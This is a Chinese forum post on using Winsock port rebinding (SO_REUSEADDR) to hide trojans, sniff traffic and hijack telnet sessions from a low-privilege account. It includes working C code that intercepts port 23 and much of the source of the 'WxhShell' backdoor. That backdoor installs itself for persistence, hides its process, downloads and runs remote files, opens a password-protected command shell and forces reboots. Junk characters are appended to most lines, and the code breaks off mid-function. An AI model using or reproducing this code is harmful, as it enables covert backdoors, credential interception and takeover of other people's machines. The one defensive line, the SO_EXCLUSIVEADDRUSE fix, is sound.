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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U ATF}x   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T f40lv+{  
;DgQ8"f  
  saddr.sin_family = AF_INET; L_sDbAT~<  
c5(4rT{(m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  rrP_7D  
]4onY >  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v\2- %  
hS'!JAM>Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1|dXbyUd  
N c(f+8  
  这意味着什么?意味着可以进行如下的攻击: \7PC2IsT3  
-&EU#Wqh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q8!X^1F7  
F4]=(T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `-w,6  
2jF}n*[OW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8ByNaXMO6  
u<JkP <"S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x~QZVL=:  
ntQW+!s;P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /:@)De(S  
6~OJB!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kgHZaQnD  
YSbe Cyv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -Q6Vz=ku  
H=*lj.x  
  #include O>"T*   
  #include YYhN>d$  
  #include _>J`e7j+  
  #include    n s#v?D9NF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t|m=X  
  int main() WD@v<Wx)  
  { =Eb$rc)  
  WORD wVersionRequested; ws<p BC,m  
  DWORD ret; .*B@1q  
  WSADATA wsaData; E[Q2ZqhgbP  
  BOOL val; 0Ibe~!EiQJ  
  SOCKADDR_IN saddr; q"i]&dMr  
  SOCKADDR_IN scaddr; Rn*@)5  
  int err; z.Vf,<H  
  SOCKET s; pQi|PQq  
  SOCKET sc; .I0M'L~!/L  
  int caddsize; 3el/,v|qj  
  HANDLE mt; !l5@L\   
  DWORD tid;   E9\u^"GVO  
  wVersionRequested = MAKEWORD( 2, 2 ); P@5}}vwS  
  err = WSAStartup( wVersionRequested, &wsaData ); lnGg1/  
  if ( err != 0 ) { y3':x[d  
  printf("error!WSAStartup failed!\n"); _jb&=f8  
  return -1; A=sz8?K+`  
  } 4Uhh]/  
  saddr.sin_family = AF_INET; h_Ssm{C\  
   2UG>(R:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mNlbiB  
TBZhL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @KRia{  
  saddr.sin_port = htons(23); `CRF E5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0oe2X1.%  
  { N;a'`l  
  printf("error!socket failed!\n"); WfHa  
  return -1; Lvrflx*Q  
  } A ^t _"J  
  val = TRUE; mU]pK5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RivhEc1h%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5me#/NqLHY  
  { >sZ_I?YDs  
  printf("error!setsockopt failed!\n"); 1vYa&!  
  return -1; e8M0Lz#}  
  } DVt^O [  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #qARcxbK|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _>bk'V7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TR%8O;  
7m%[$X`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wq|7sk{  
  { &dPI<HlM  
  ret=GetLastError(); N85ZbmU~  
  printf("error!bind failed!\n"); p +nh]  
  return -1;  U02  
  } _S,UpR~2W  
  listen(s,2); Gx*B(t]4y  
  while(1) 3 }3C*w+  
  { 0+k..l  
  caddsize = sizeof(scaddr); +R7pdi  
  //接受连接请求 A-, hm=?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =b8u8*ua  
  if(sc!=INVALID_SOCKET) _4T7Vg''  
  { =sso )/3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `dWnu3r;  
  if(mt==NULL) 5LZs_%#  
  { P @Fx6  
  printf("Thread Creat Failed!\n"); QX42^]({;c  
  break; q VavP6I  
  } "YAnGGx)LZ  
  } ^M\X/uq$E  
  CloseHandle(mt); \}\# fg  
  } O`I}Lg]~q  
  closesocket(s); EnmMFxu<  
  WSACleanup(); qDqy9u:g  
  return 0; #guK&?Fye  
  }   G.$KP  
  DWORD WINAPI ClientThread(LPVOID lpParam) fQ1Dp  
  { I Bko"|e@  
  SOCKET ss = (SOCKET)lpParam; mmG]|Cl@  
  SOCKET sc; F8#MI G   
  unsigned char buf[4096]; Vvp{y  
  SOCKADDR_IN saddr; ^Nu j/  
  long num; KEdqA/F>  
  DWORD val; 7H|0.  
  DWORD ret; S<jiy<|`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `sA xk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'blMwD{0&\  
  saddr.sin_family = AF_INET; 0~P]Fw^w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;mg.} fI  
  saddr.sin_port = htons(23);  FLZ9Rg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  8hYl73#  
  { ?2R!n" m-d  
  printf("error!socket failed!\n"); 76] Z~^Y  
  return -1; zl|+YjR  
  } Qn~{TZz  
  val = 100; \y6Y}Cv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2 6 >9$S  
  { &gr  T@  
  ret = GetLastError(); p8"C`bCf  
  return -1; s>1\bio*I  
  } `GlOl-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !? H:?  
  { Anqt:(  
  ret = GetLastError(); 5j\Kej  
  return -1;  E(wS6  
  } K4o']{:U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LK!sk5/  
  { (pHJEY  
  printf("error!socket connect failed!\n"); TU;AO%5  
  closesocket(sc); _yF@k~ h  
  closesocket(ss); 9I`0`o"A  
  return -1; '+ mI  
  } 66sgs16k  
  while(1) feH&Ug4?G  
  { nE?:nJ|%E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WncHgz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f,|;eF-Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \Ui8gDJ8y5  
  num = recv(ss,buf,4096,0); )T?BO  
  if(num>0) OH@gwC  
  send(sc,buf,num,0); _\8E/4zh  
  else if(num==0) -SLk8x  
  break; W7(5z  
  num = recv(sc,buf,4096,0); ,L<x=Dg  
  if(num>0) G(wstHT;/  
  send(ss,buf,num,0); %Pl |3i  
  else if(num==0) AZ4:3}  
  break; ^uphpABpD  
  } Z15 =vsV  
  closesocket(ss); 5q'b M  
  closesocket(sc); r\}?HS06  
  return 0 ; etUfdZ  
  } Pa#Jwo  
X}5"ZLa7l  
Yakrsi/jV}  
========================================================== UtC<TBr  
\ So)g)K  
下边附上一个代码,,WXhSHELL P[$idRS&  
P.g./8N`z  
========================================================== Z\]LG4N?  
v~W ;&{  
#include "stdafx.h" }eI9me@Aa  
mKyF<1,m  
#include <stdio.h> wAgV evE  
#include <string.h> B5h)F> &G  
#include <windows.h> `sy_'`i>X  
#include <winsock2.h> 4E}Q<?UYSt  
#include <winsvc.h> b|G~0[g  
#include <urlmon.h> XR p60i6f  
lqgR4  !  
#pragma comment (lib, "Ws2_32.lib") 2^75|Q  
#pragma comment (lib, "urlmon.lib") TKbfZw  
Tr4\ `a-i  
#define MAX_USER   100 // 最大客户端连接数 Yt{Z+.;9OI  
#define BUF_SOCK   200 // sock buffer 5\O&pz@D  
#define KEY_BUFF   255 // 输入 buffer L?P[{Ohh/  
^|vP").aQm  
#define REBOOT     0   // 重启 "pcr-?L  
#define SHUTDOWN   1   // 关机 :8hXkQ  
&j/,8 Z*  
#define DEF_PORT   5000 // 监听端口 &~x|w6M]J  
xRO9o3  
#define REG_LEN     16   // 注册表键长度 Snn4RB<(  
#define SVC_LEN     80   // NT服务名长度 3u 7A(  
j|qdf3^f  
// 从dll定义API ?' mP`9I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W5()A,R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f_;tFP B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )7-mALyW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QNv5CQ&  
PI9aKNt  
// wxhshell配置信息 wr(*RI"  
struct WSCFG { =h?%<2t9<  
  int ws_port;         // 监听端口 G(o6/  
  char ws_passstr[REG_LEN]; // 口令 +z#+}'mT%  
  int ws_autoins;       // 安装标记, 1=yes 0=no *lu*h&Y  
  char ws_regname[REG_LEN]; // 注册表键名 l}T@Cgt  
  char ws_svcname[REG_LEN]; // 服务名 beT[7uVj_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :/Z1$xS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m(1ot M9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 foY]RkW9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <VQ@I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" > PL}7f&:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x%T^:R  
/,j'V r\"  
}; 3j[<nBsn.  
/qq*"R  
// default Wxhshell configuration |%rRALIY  
struct WSCFG wscfg={DEF_PORT, u*oP:!s  
    "xuhuanlingzhe", rTOex]@N  
    1, (9'q/qgTO  
    "Wxhshell", 7TU77  
    "Wxhshell", 9"/=D9o9  
            "WxhShell Service", HCYy9  
    "Wrsky Windows CmdShell Service", Se\iM s  
    "Please Input Your Password: ", Q&@<?K9  
  1, Y{@foIZ  
  "http://www.wrsky.com/wxhshell.exe", o)CW7Y#?,  
  "Wxhshell.exe" Xi+l1xe  
    }; `r}a:w-  
f'7/Wj  
// 消息定义模块 /Tw $} 8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 4(bo \  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $RHw6*COG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z,@R jaX  
char *msg_ws_ext="\n\rExit."; Dr(;A>?qG  
char *msg_ws_end="\n\rQuit."; Ra^c5hP:.E  
char *msg_ws_boot="\n\rReboot..."; ycEp,V;[Z  
char *msg_ws_poff="\n\rShutdown..."; hh.`Yu L  
char *msg_ws_down="\n\rSave to "; LW/> %  
' ~z`kah  
char *msg_ws_err="\n\rErr!"; +(w9! 5?F  
char *msg_ws_ok="\n\rOK!"; 5-'Z.[ImB?  
?i!d00X  
char ExeFile[MAX_PATH]; 8u"C7} N_  
int nUser = 0; x #|t#N%  
HANDLE handles[MAX_USER]; 5g'aNkF6>  
int OsIsNt; #k!;=\FV  
|="Y3}a  
SERVICE_STATUS       serviceStatus; (9] =;)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $%ztP Ta  
B < HD  
// 函数声明 "CFU$~  
int Install(void); /R( .7N  
int Uninstall(void); Iu;VFa  
int DownloadFile(char *sURL, SOCKET wsh); z~1S/,Ca  
int Boot(int flag); 1pN8,[hyR7  
void HideProc(void); |OZ>5  
int GetOsVer(void); mVK^gJ3  
int Wxhshell(SOCKET wsl); m (kKUv  
void TalkWithClient(void *cs); `V*$pHo  
int CmdShell(SOCKET sock); Z%SDN"+'g  
int StartFromService(void); Cs,t:ajP  
int StartWxhshell(LPSTR lpCmdLine); bZ+H u~  
=}e{U&CX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ws,VO*4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? fM_Y  
 %Rm`YH?  
// 数据结构和表定义 PA,\o8]x  
SERVICE_TABLE_ENTRY DispatchTable[] = 5fp&!HnG  
{ =#%Vs>G  
{wscfg.ws_svcname, NTServiceMain}, =jU#0FAO  
{NULL, NULL} 2e({%P@2?  
}; aLQ]2m  
sE^= ]N  
// 自我安装 u 1Wixjd|  
int Install(void) H~0B5Hl!F  
{ =RlAOgJ  
  char svExeFile[MAX_PATH]; gA2]kZg  
  HKEY key; )Oj{x0{\Q  
  strcpy(svExeFile,ExeFile); SK,UW6h  
,twm)%caU  
// 如果是win9x系统,修改注册表设为自启动 G49`a*Jn  
if(!OsIsNt) { qx?0]!x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e\*N Lj_(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S3c%</'  
  RegCloseKey(key); /AUX7 m.8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? 8S~R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VlxHZ  
  RegCloseKey(key); edlsS}8^  
  return 0; \YsLVOv%:d  
    } v.Q+4 k  
  } 3nUC,T%  
} Cg^1(dBd[9  
else { irGgo-x  
pJ@->V_  
// 如果是NT以上系统,安装为系统服务 ksAu=X:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sz4;hSTy  
if (schSCManager!=0) >T^BD'z@'  
{ O[9A}g2~  
  SC_HANDLE schService = CreateService In#m~nE[M  
  ( [*Vo`WgbD  
  schSCManager, ~eekv5  
  wscfg.ws_svcname, % +M,FgW  
  wscfg.ws_svcdisp, d{]2Q9g  
  SERVICE_ALL_ACCESS, r+i=P_p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &^B;1ZMHD  
  SERVICE_AUTO_START, h$$i@IO0  
  SERVICE_ERROR_NORMAL, >WY\P4)k  
  svExeFile, PD:lI]:s  
  NULL, m=^ihQ  
  NULL, Q\2~^w1V  
  NULL, OkQtM nq  
  NULL, oUN;u*  
  NULL 8fb<hq<  
  ); a0&R! E;  
  if (schService!=0) N8m3 Wy  
  { &2pa9i  
  CloseServiceHandle(schService); y,$zSPJCi  
  CloseServiceHandle(schSCManager); kfkcaj4l]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z'k@$@:0XD  
  strcat(svExeFile,wscfg.ws_svcname); 9XN/ w p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :b(Nrj&TQ[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mX@!O[f%9e  
  RegCloseKey(key); tI+P&L"  
  return 0; ?T8^tGD[  
    } ]_:j+6i  
  } V<t!gT#&o!  
  CloseServiceHandle(schSCManager); SD1M`PI  
} jg(cpo d  
} 'w`9lIax  
#AH<dS  
return 1; wv&%09U  
} F{ sPQf'  
dpB\=  
// 自我卸载 x I(X+d``  
int Uninstall(void) Y;>D"C..  
{ PO]c&}/  
  HKEY key; o/I`L  
<;zcz[~  
if(!OsIsNt) { dZ,~yV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tP|ox]  
  RegDeleteValue(key,wscfg.ws_regname); - D^v:aC  
  RegCloseKey(key); %j;mDR9 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K,f- w2!  
  RegDeleteValue(key,wscfg.ws_regname); VNxhv!w  
  RegCloseKey(key); Y i`wj^  
  return 0; i0{sE  
  } b|u0a6  
} M}N[> ,2'  
} f^@D uI  
else { ) t$o0!  
k'-5&Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (aSY.#;  
if (schSCManager!=0) _F tI2G9  
{ U3M;6j9`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =.t3|5U8  
  if (schService!=0) C{FE*@U.  
  { hta y-  
  if(DeleteService(schService)!=0) { {3|h^h_R  
  CloseServiceHandle(schService); T9-2"M=|<  
  CloseServiceHandle(schSCManager); WXJ%hA  
  return 0; ,qK3 3Bn  
  } Qjd<%!]+\  
  CloseServiceHandle(schService); IF <<6.tz  
  } i-`J+8|d  
  CloseServiceHandle(schSCManager); > ZKHjw  
} `fq#W#Pu  
} lVo}DFZ  
{4HcecT  
return 1; DkeFDzQ5  
} E6s)J -a  
I+']av8e  
// 从指定url下载文件 #0 eop>O  
int DownloadFile(char *sURL, SOCKET wsh) QK(w2`  
{ xcE<|0N :  
  HRESULT hr; ,2`FSL%J  
char seps[]= "/"; Q<fDtf}  
char *token; #;F*rJ[XY  
char *file; )o_Pnq9_  
char myURL[MAX_PATH]; 1'BC R  
char myFILE[MAX_PATH]; uN9J?j*ir  
TX$4x~:  
strcpy(myURL,sURL); [IPXU9& Q  
  token=strtok(myURL,seps); 2#`9OLu8X  
  while(token!=NULL) cxn*!TwDs  
  { !9vq"J~hz"  
    file=token; dNT<![X\  
  token=strtok(NULL,seps); G"nGaFT~  
  } 9?4:},FRmE  
,w$:=;i  
GetCurrentDirectory(MAX_PATH,myFILE); T<K/bzB3z  
strcat(myFILE, "\\"); t-VU&.Y  
strcat(myFILE, file); whh#J (  
  send(wsh,myFILE,strlen(myFILE),0); @Avve8S  
send(wsh,"...",3,0); d3tr9B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GVUZn//  
  if(hr==S_OK) +9R@cUr  
return 0; bDT@E,cSi  
else y.Y;<UGu  
return 1; 3&KRG}5  
wlw`%z-B2  
} yp"h$  
aP/Ff%5T  
// 系统电源模块 rqz`F\A;%  
int Boot(int flag) n1;zml:7_  
{ ) S,f I  
  HANDLE hToken; I7Xm~w!{qk  
  TOKEN_PRIVILEGES tkp; =RjseTS  
K%WG[p\Eu  
  if(OsIsNt) { Q ?R3aJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0vrx5E!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +CXtTasP  
    tkp.PrivilegeCount = 1; n+SHkrW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  -wQ@z6R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nIf~ds&TT  
if(flag==REBOOT) { U~q2j#pJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /uJ(&#87  
  return 0; -X_dY>>s  
} BL1d= %2 R  
else { ;U]Ym48  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *dPG[ }  
  return 0; ,qT+Vqpr{  
} f yhBfA:u  
  } [SU;U['7  
  else { kB-]SD#  
if(flag==REBOOT) { .0?A0D?sP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0rCQz3gh1  
  return 0; uG=~k O  
} ~+CEek  
else { fRomP-S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bO+]1nZ.  
  return 0; <KBS ;t="1  
} a9g~(#?a  
} (qDPGd*1  
k]9+/ $  
return 1; XNQPyZ2@|b  
} /|>?!;   
6d/1PGB  
// win9x进程隐藏模块 IH3Nkpsg  
void HideProc(void) BD?u|Fd,i:  
{ {wvBs87  
N<^)tR8+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Sv8c}8  
  if ( hKernel != NULL ) =buarxk  
  { '9@AhiNV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #T++5G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K8RV=3MBLD  
    FreeLibrary(hKernel); l- $5CO  
  } U<I]_]  
t 09-y  
return; 3@wio[  
} l4*vM  
_0"s6D$  
// 获取操作系统版本 1'f&  
int GetOsVer(void)  xq&r|el  
{ 1 RVs!;  
  OSVERSIONINFO winfo; d'@i8N["{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 00/ RBs 5  
  GetVersionEx(&winfo); Q$b4\n?44  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $V,ZH* g  
  return 1; m,V"S(A  
  else Q%x-BZb~  
  return 0; `PZcL2~E  
} "xAIK  
\hI|I!sDWy  
// 客户端句柄模块 6G7+&g`  
int Wxhshell(SOCKET wsl) ng:B;; m  
{ PFjh]/=  
  SOCKET wsh; M}]4tAyT  
  struct sockaddr_in client; !GnwE  
  DWORD myID; g[ N3jt@  
TjicltQi4  
  while(nUser<MAX_USER) X}g"_wN,g>  
{ p %hvDC  
  int nSize=sizeof(client); 9Y+7o%6e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '0v]?mM  
  if(wsh==INVALID_SOCKET) return 1; iLQ;`/j  
BvP++,a&Sa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -?w3j9kk>  
if(handles[nUser]==0) |f1RhB  
  closesocket(wsh); i?861Hu  
else Ffig0K+ `  
  nUser++; }kSP p  
  } ndu$N$7+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b8**M'k  
%E[ $np>  
  return 0; 8ib e#jlg  
} SB,#y>Zv?  
ce:wF#Qs  
// 关闭 socket >Se-5QtLcf  
void CloseIt(SOCKET wsh) Kx02 2rgDU  
{ E Q]>^VE2B  
closesocket(wsh); j\iNag(   
nUser--; ySHpN>U  
ExitThread(0); ^O<@I  
} Y>x3`f]  
a]!u go}  
// 客户端请求句柄 eOahr:Db  
void TalkWithClient(void *cs) 1BSn#Dnj  
{ Q-J} :U  
Q5]rc`} 5  
  SOCKET wsh=(SOCKET)cs; m[ER~]L/C  
  char pwd[SVC_LEN]; BmaY&?  
  char cmd[KEY_BUFF]; V`@/"Djj  
char chr[1]; Z%JAX>v&B  
int i,j; x>+sqFd\  
= u&dU'@q  
  while (nUser < MAX_USER) { f9t+x+ Z  
I#;.; %u  
if(wscfg.ws_passstr) { 3gYtu-1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <?h(Dchq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1n[wk'}qf4  
  //ZeroMemory(pwd,KEY_BUFF); a:s$[+'Y  
      i=0; @ 6*eS+t\  
  while(i<SVC_LEN) { mR~S$6cc  
$3xDjiBb  
  // 设置超时 )5fly%-r)  
  fd_set FdRead; jOZ>^5}  
  struct timeval TimeOut; E85TCS 1  
  FD_ZERO(&FdRead); AoY!f'Z  
  FD_SET(wsh,&FdRead); W6):IW(E  
  TimeOut.tv_sec=8; rNICK2Ah  
  TimeOut.tv_usec=0; :;\xyy}A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gp=V%w\FDW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fi%lN_Ev?  
>^SQrB   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BZIU@^Q_Y[  
  pwd=chr[0]; +0%Y.O/{  
  if(chr[0]==0xd || chr[0]==0xa) { iFZ.a.NDc  
  pwd=0; Ym6v4k!@O  
  break; _ Td#C1g3  
  } pcQgWjfS  
  i++; ?Zb3M  
    } qcge#S>  
>8&fFq  
  // 如果是非法用户,关闭 socket N*\r i0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l;@bs  
} kx;7/fH  
C3~O6<,Jh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &UO/p/a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 93 =?^  
V."cmtf  
while(1) { VxE;tJ>1  
, eSpt#M  
  ZeroMemory(cmd,KEY_BUFF); 7jGfQ  
5mZwg(si  
      // 自动支持客户端 telnet标准   CZ>Ujw=&k  
  j=0; qRz /$|.  
  while(j<KEY_BUFF) { ( X+2vN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S;oRE' kk  
  cmd[j]=chr[0]; ^1<i7u  
  if(chr[0]==0xa || chr[0]==0xd) { &Lbwx&!0b  
  cmd[j]=0; ?!.J 0q  
  break; S+*>""=  
  } ,$U~<Zd  
  j++; !pHI`FeAV  
    } "sWsK %  
 x$FcF8  
  // 下载文件 <9c{Kt.5(  
  if(strstr(cmd,"http://")) { wk'&n^_br  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d. ZfK  
  if(DownloadFile(cmd,wsh)) Eo6qC?5<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $LcMG,8%_  
  else b1G6'~U-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '&$zgK9T?  
  } X&Sah}0V&  
  else { 4vNH"72P  
|:,`dQfw  
    switch(cmd[0]) { /lhk} y^  
  4J?\JcGs  
  // 帮助 /2MZH  
  case '?': { 8~T=p:z'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tY:,9eh7B  
    break; tI5*0  
  } Mb45UG#2  
  // 安装 ZE1${QFkG  
  case 'i': { B>sQcZ:  
    if(Install()) c= ?Tu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BqDsf5}jpA  
    else JB=L{P J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 43<i3O  
    break; |?hsMN  
    } NiQ Y3Nj  
  // 卸载 [ $"  
  case 'r': { #K iqV6E  
    if(Uninstall()) K@Xj)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lkC|g%f  
    else l}k'ZX4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z,"YMUl'  
    break; F? ps? e  
    } j`K0D65  
  // 显示 wxhshell 所在路径 ,?`kYPZ  
  case 'p': { B?Rkz  
    char svExeFile[MAX_PATH]; :_`Yrx5  
    strcpy(svExeFile,"\n\r"); n xR\tBv  
      strcat(svExeFile,ExeFile); +q+JOS]L  
        send(wsh,svExeFile,strlen(svExeFile),0); F&B E+b/#  
    break; m=Mk@xfQ#  
    } y=jZ8+M   
  // 重启 RD;A  
  case 'b': { UMT}2d%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PWquu`  
    if(Boot(REBOOT)) u9u'5xAO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] mK{E~Zll  
    else { \ Co Z+  
    closesocket(wsh); i6y=3k  
    ExitThread(0); e@S\7Ks  
    } q8,,[R_  
    break; k ~F ,n  
    }  *I}_g4  
  // 关机 hS>=p O+y  
  case 'd': { Qstd;qE~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ln":j?`  
    if(Boot(SHUTDOWN)) @ScC32X  
